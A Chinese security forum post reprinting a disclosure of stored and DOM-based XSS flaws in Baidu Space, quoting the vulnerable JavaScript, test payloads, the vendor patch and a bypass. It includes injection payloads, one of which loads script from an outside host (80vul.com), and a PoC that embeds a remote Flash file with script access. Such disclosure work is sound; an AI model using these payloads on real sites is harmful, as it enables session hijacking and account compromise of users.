找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2072|回复: 0
打印 上一主题 下一主题

hi.baidu Xss 漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-8-24 11:51:11 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS.  " p( J  Y7 F  |$ W

3 M0 n. s3 o2 T1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存.  & N! r/ q+ K7 G' m
2.在http://hi.baidu.com/ui/scripts/pet/pet.js中  
5 x2 P) x2 S3 w! E1 H1 U4 m/ ^3 j
1 J5 L# B; K6 x$ J! @- w将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p>  % b! x, c- G7 g+ m1 l5 c
其中BdUtil.insertWBR为  
& G3 S% S" ]7 \4 p; wfunction(text, step) {  & |( k3 @) B. Z$ H% E0 O2 H0 F
    var textarea = textAreaCache || getContainer();  & n% E1 d0 z7 p/ @9 d. S
    if (!textarea) {  
2 B4 m8 J) q8 ~) t        return text;  
, l- @! ~+ G# Q% J( h    }  9 y* B+ y1 k' u0 m
    textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">");  
" \2 W% Q( S; n  Z4 c! _+ H1 G    var string = textarea.value;  
# @3 T* ]0 W$ d2 p7 Y% K* r    var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi");  
9 g3 t' p+ w9 ]+ v: ?% i, N    var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;");  . i$ {) O7 s. V. o4 g& o8 i: @
    return result;  
- a( \; Z  b$ r+ M! ?}  : ?& b- K; B3 B3 a) Z* F6 N
在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS.  " ]0 }6 h% E7 W  D0 l* g  r" c: q0 h
测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)>  % ?' g# _7 U' o* i+ t3 D! T
   
$ S1 H) `; o. `二:creatbgmusic() Dom-Xss Bug  8 e* e/ G# @# i9 p
百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞  2 |3 Y% @7 J) S; F. b. F! O

- b+ h) H1 G( U1 k+ I! q. k8 Z+ Fhttp://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码:  , t( J" @( n& n* {* N; B2 Q
6 K" V. T" w% w, F1 b4 z
function creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) {  
( h( K) c- V8 s. R1 H- ]) a    //传入的murl赋值到bgmusic1和bgmusic2中  4 r8 y  N$ ^- a" N& }
    //可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1  
1 h8 c3 @+ R5 H) T' ], _" ?    var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\"  VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">";  , B, v. C4 j# Q8 s9 x9 H0 o9 |3 y
    if (musicnum <= 1) {  7 E. B( E. J8 K4 E
        bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">";  8 u% K) k8 M: i" F" ?6 y. M. Y
    }  0 D2 C' x, W, U3 O4 f
    bgmusic1 += "</OBJECT>";  " V: A7 e1 O- f$ c( L1 T
    var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\"";  5 Z0 A8 [' p( C' ]8 A5 e8 c
    if (musicnum <= 1) {  
8 p& ~, U! c9 |0 [7 C        bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" ";  3 k. a+ v1 j' N8 o3 _: o! E
    }  
6 u; h3 _" n- [: s7 t5 {) w    bgmusic2 += "> </EMBED>";  
5 C# {7 `' |: L! }    var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>";  & A: k, G1 r- A9 z% E" ~/ h
    var bgmus = detectWMP();  
/ ~6 y7 Z' ^. t6 R5 k    if (functype == "FckMusicHelper") {  
: g" q2 Q* u- r        if (bgmus.installed) {  , x7 s6 G! t, W
            if (bgmus.type == "IE") {  / c- h$ _3 @0 U  N
                return bgmusic1;  / c: ^; b% J! e2 j
            } else if (bgmus.type == "NS") {  
6 F* L* z# c5 @- X5 D; D" C                return bgmusic2;  3 W% ?3 q0 E" x) q8 u1 H
            }  
2 J7 j) E. N% B9 v3 @        } else {  
. \+ X4 q7 G. [9 `' s7 _            return bgmusic3;  
, ]% H8 O5 D" k) x! K2 C6 y, U        }  
  H# A5 x1 q6 P6 e( ?    } else {  
, N7 q4 R% j& k( @        if (bgmus.installed) {  ) B( H# X; U3 d( n
            //document.write 直接输出bgmusic变量 导致xss  4 v% d: M; o9 F7 E
            if (bgmus.type == "IE") {  ' `, {; {  E) n. ^$ a$ S# u5 Z
                document.write(bgmusic1);  
, }: m  D0 E; c) O, f, s# _            } else if (bgmus.type == "NS") {  
, f9 D1 r; B8 f( Y8 O/ H8 U                document.write(bgmusic2);  
7 d2 Y& A% S, u            }  ! n4 D. d' X* b1 s8 H3 A0 r% c- G
        } else {  4 P# u; a+ r/ T- n: P8 I
            document.write(bgmusic3);  
9 G; I' \% f5 C! N  _        }  
+ R$ o1 {! T+ q! I+ |        return "";  % f8 s, A4 G  {! F3 q* d8 I2 x
    }  
! p0 ~0 n- T/ E6 n}  
, H; `- `8 J$ G  }" ^/ S5 j! m
; K" c2 d0 ?% t在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下:    l/ b* d* n( ?+ U6 K6 i0 D
7 l) V4 f; f! l* n7 S1 _$ I4 j  D
function initBlogTextForFCK(){  " B" F, I$ P8 F7 U+ z
//fck init music  : R* v6 K0 D. g/ C! I
if(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}}  
+ E7 b. f5 i( Fvar imgBox=document.getElementsByName(’musicName’);   //取得了文章中的所有name="musicName"的标签数组  $ W4 B/ R% O5 P4 f0 D) ?  ?6 t
var isAutoPlay=true;  
( \' \+ N5 B" \+ o, G- h1 Mfor(var i=0,n=imgBox.length;i<n;i++){  //然后遍历.  # z- |& H6 W3 i- G, f
  var img=imgBox;  
' k1 ~; M2 \2 H" }) N" O0 y0 n1 D- o( i7 b  if(img.getAttribute(’rel’)){        7 ]4 b6 D' I9 w" W  z+ C
   var musicSrc=img.getAttribute(’rel’);    //取得标签中rel的值,赋值给musicSrc  # N* _# g- `" x% {8 F; ^
   var musicDiv = document.createElement("SPAN");  # d6 C' F  N: z5 A9 H) f
   var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1);  //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp]  
' n: }: P2 g2 o     
2 {2 L( V( O, I      ..........................  6 T) Z, e4 A  r) E
     ! k6 ]0 d; h( e; V
   //直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来.   7 l0 [. @# \9 _
   var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);  
5 F6 M4 D' K$ f- c/ Q8 x' n; M* B   shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’);   img.replaceNode(musicDiv);  
8 s0 W- J' l1 s5 u+ z! e7 `   musicDiv.innerHTML=shtml;  , r- a) L) L2 g7 R
   i--;n--;  
+ Y% a9 L5 d2 _- @5 p  }  5 u( [: F3 k) W7 O9 O. U0 V. T
}  % j$ ^, F3 s8 T+ U5 B4 Y9 h2 Y

% P* c  D% T( X- r' W6 d6 L$ b3 Y- Q从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS.  $ \( b7 F# W% S# V+ I! q
   
, Y& ~1 U3 c) ^测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/>    Q0 [2 {% R% ]3 \1 z% ?

4 A. t- d* i' p) c( D, F等待官方补丁    K& d& }( q$ ^# B' }

0 s  W* \& K7 ^0 V* g& Iupdate 2010年5月13日   
  O7 R! j, l8 G5 k% L
6 [) b6 G9 e  n8 H: L# n9 s+ V官方补丁:  
0 z* n. ~5 l- o+ M
4 i6 v  A! H1 e6 f/ u2 Tvar shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);  $ s5 h5 `0 ]) |/ v2 t
改为:  + {$ w- O) `9 v
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’);  
+ j9 d$ [+ i% p2 @+ A" w
% d3 R% k2 `6 i+ A9 M- K( Aupdate 2010年5月13日 21:50:37  
) _8 n! I8 b# e. O, G6 Z% T# Q) E
: i7 Z, e& K6 o" {9 @补丁存在漏洞 没有过滤" 可以继续跨:  2 i( r3 U( G2 v; z$ I: x
( K! t5 n, w' s+ n5 [! W% s
NEW POC:  ! M. D+ N0 K5 a- b
9 w2 h; y* k& s* g  e
<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf"
! Y$ V5 y- G5 r# j! Y
5 O: y( z" I) Vallowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>
1 r0 y/ U- o7 l" d( ?/ v' O3 x2 | - c7 n1 c* T" v
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表